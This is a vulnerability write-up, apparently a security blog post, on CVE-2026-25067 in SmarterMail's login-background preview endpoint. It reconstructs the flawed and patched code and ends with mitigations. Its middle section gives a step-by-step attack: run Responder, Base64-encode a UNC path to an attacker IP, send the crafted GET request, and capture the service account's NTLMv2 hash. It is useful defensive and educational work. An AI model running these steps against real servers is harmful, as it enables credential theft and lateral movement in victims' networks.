SmarterMail's Not-So-Smart Background Check: Unauthenticated NTLM Theft via CVE-2026-25067

In the world of enterprise software, there is an unwritten rule: if an application has a login screen, someone, somewhere, will demand the ability to customize the background image. It seems innocuous enough. A little eye candy for the sysadmins. But in the Windows ecosystem, file paths are not just pointers to data—they are potential triggers for authentication mechanisms that date back to the 90s.

SmarterMail, a robust alternative to Exchange, introduced a 'Background of the Day' feature. The idea is simple: let the administrator preview what the rotating login screen looks like. To do this, the server needs to fetch the image from a path. This is where things get interesting for us.

CVE-2026-25067 isn't a memory corruption bug. It's not a buffer overflow. It is a logic flaw born from the dangerous intersection of convenience features and Windows' automatic authentication behavior. The vulnerability lies in an endpoint designed to render these previews. It accepts a file path from the user, and because the developers likely assumed 'who would put a remote path here?', they processed it. This assumption is exactly what we are going to break.

The vulnerability is a textbook case of Unauthenticated Path Coercion (CWE-706). The specific endpoint in question takes a query parameter, Base64-decodes it, and passes the resulting string directly to a file system API (likely something akin to System.IO.File.Open or GetFileAttributes).

The flaw is the lack of validation. The application assumes the decoded string is a local path like C:\SmarterMail\Images\bg.jpg. However, Windows APIs are incredibly helpful. If you pass them a Universal Naming Convention (UNC) path—like \\192.168.1.50\share\image.jpg—the operating system says, 'Ah, a network resource! Let me fetch that for you.'

Here is the kicker: To fetch a file from a Windows network share (SMB), you need to authenticate. When the SmarterMail service (which typically runs as NETWORK SERVICE or SYSTEM) tries to access that UNC path, the Windows kernel automatically attempts to negotiate authentication with the remote server. It sends an NTLM Negotiate message, followed eventually by the NTLM Challenge/Response. If the attacker controls that remote server, they don't serve a file—they capture the credentials. The application literally hands over the keys to the castle because it was tricked into looking in the wrong place.

While we don't have the exact source code repository commit history (as SmarterMail is proprietary), we can reconstruct the vulnerable pattern based on the patch behavior and the nature of .NET file operations. This is 'The Smoking Gun' logic that typically causes these issues.

The Vulnerable Pattern

Before the fix, the controller logic likely looked something like this:

[HttpGet]
[AllowAnonymous] // <--- The first mistake
public IActionResult GetBackgroundPreview(string path)
{
    // 1. Decode the input without validation
    string decodedPath = Encoding.UTF8.GetString(Convert.FromBase64String(path));
 
    // 2. Blindly access the file system
    // If decodedPath is "\\10.0.0.1\share", Windows initiates SMB auth here
    if (System.IO.File.Exists(decodedPath))
    {
        var imageBytes = System.IO.File.ReadAllBytes(decodedPath);
        return File(imageBytes, "image/jpeg");
    }
    return NotFound();
}

The Fix (Build 9518)

In Build 9518, SmarterTools introduced strict validation. They stopped trusting the input. The patched logic effectively enforces a sandbox, ensuring the path is local and resides within expected directories.

public IActionResult GetBackgroundPreview(string path)
{
    string decodedPath = Encoding.UTF8.GetString(Convert.FromBase64String(path));
 
    // 1. Check for UNC paths explicitly
    if (decodedPath.StartsWith("\\") || decodedPath.StartsWith("//"))
    {
        throw new SecurityException("UNC paths are not allowed.");
    }
 
    // 2. Canonicalization check (prevent traversal)
    string fullPath = Path.GetFullPath(decodedPath);
    if (!fullPath.StartsWith(AppDomain.CurrentDomain.BaseDirectory))
    {
         return BadRequest("Invalid path.");
    }
 
    // ... proceed safely ...
}

The fix is simple: assume the user is malicious. Never pass user input to file APIs without first verifying it points exactly where you think it should.

Exploiting this requires no authentication, just network visibility to the SmarterMail server. We will use a tool like Responder to act as the malicious SMB server. The goal is to force the SmarterMail server to connect to us.

Step 1: Setup the Trap

First, fire up Responder on your attacking machine (let's say IP 192.168.45.5). This tool listens for LLMNR, NBT-NS, and crucially, SMB connections.

sudo responder -I eth0 -v

Step 2: Craft the Payload

We need a UNC path pointing to our Responder IP. To ensure we trigger the file logic, we can fake a path to a JPG.

Path: \\192.168.45.5\backups\pwn.jpg

Now, we Base64 encode this string. In a real engagement, you might need to handle URL encoding for the Base64 special characters (+, /, =), but the raw Base64 usually works if the server is lenient.

echo -n '\\192.168.45.5\backups\pwn.jpg' | base64
# Output: XFwxOTIuMTY4LjQ1LjVcYmFja3Vwc1xwd24uanBn

Step 3: Trigger the Coercion

Send the HTTP request to the vulnerable endpoint. Note that the exact path might vary slightly based on the installation's routing configuration, but it generally lives under /api.

GET /api/v1/settings/sysadmin/background-of-the-day-preview?path=XFwxOTIuMTY4LjQ1LjVcYmFja3Vwc1xwd24uanBn HTTP/1.1
Host: mail.target-corp.com
Connection: close

Step 4: The Catch

Check your Responder terminal. You should see an incoming SMB connection from the SmarterMail server IP.

[SMB] NTLMv2-SSP Client : 10.10.10.20 [SMB] NTLMv2-SSP Username : TARGET\MachineAccount$ [SMB] NTLMv2-SSP Hash : MachineAccount$::Target:11223344...

Congratulations. You now have the NTLMv2 hash of the account running the mail service. If it's SYSTEM, you have the machine account hash.

You might be thinking, "Okay, I have a hash. So what? I can't reverse it instantly." That is a dangerous underestimation of NTLM coercion.

1. NTLM Relay: This is the most immediate threat. If SMB Signing is not enforced on other servers in the network (which is the default configuration for workstations and often ignored on servers), an attacker can relay this authentication attempt. Instead of cracking the hash, the attacker forwards the credentials to another machine (like a file server or internal wiki). The target server sees a valid login coming from the trusted Mail Server account and grants access. This can lead to RCE on other internal hosts or massive data exfiltration.

2. Offline Cracking: If the service is running as a dedicated service account (e.g., svc_smartermail) and the password is weak (e.g., Summer2026!), a GPU rig will crack that NTLMv2 hash in minutes. Once the attacker has the cleartext password, they can log in via RDP or legitimate SMB channels.

3. Lateral Movement: SmarterMail servers are often critical infrastructure. They are trusted. Compromising the identity of the mail server is a massive pivot point for an attacker to move laterally into the deepest parts of the network.

SmarterTools responded quickly with Build 9518, released on January 22, 2026. Patching is the only way to fix the code logic, but there are architectural changes you should make to prevent this class of bug entirely.

1. Apply the Patch: Update to Build 9518 or higher immediately. This update enforces local path validation.

2. Block Outbound SMB (Port 445): This is a golden rule for firewall configuration. Your mail server should generally not be initiating outbound SMB connections to the internet or random client subnets. Block TCP 445 egress at the network perimeter and the host firewall. If the server can't talk to the attacker's SMB listener, the exploit fails.

3. Disable NTLM: If your environment supports it, move to Kerberos-only authentication and disable NTLM usage for the service account. This prevents the server from downgrading to the NTLM protocol that is susceptible to relay attacks.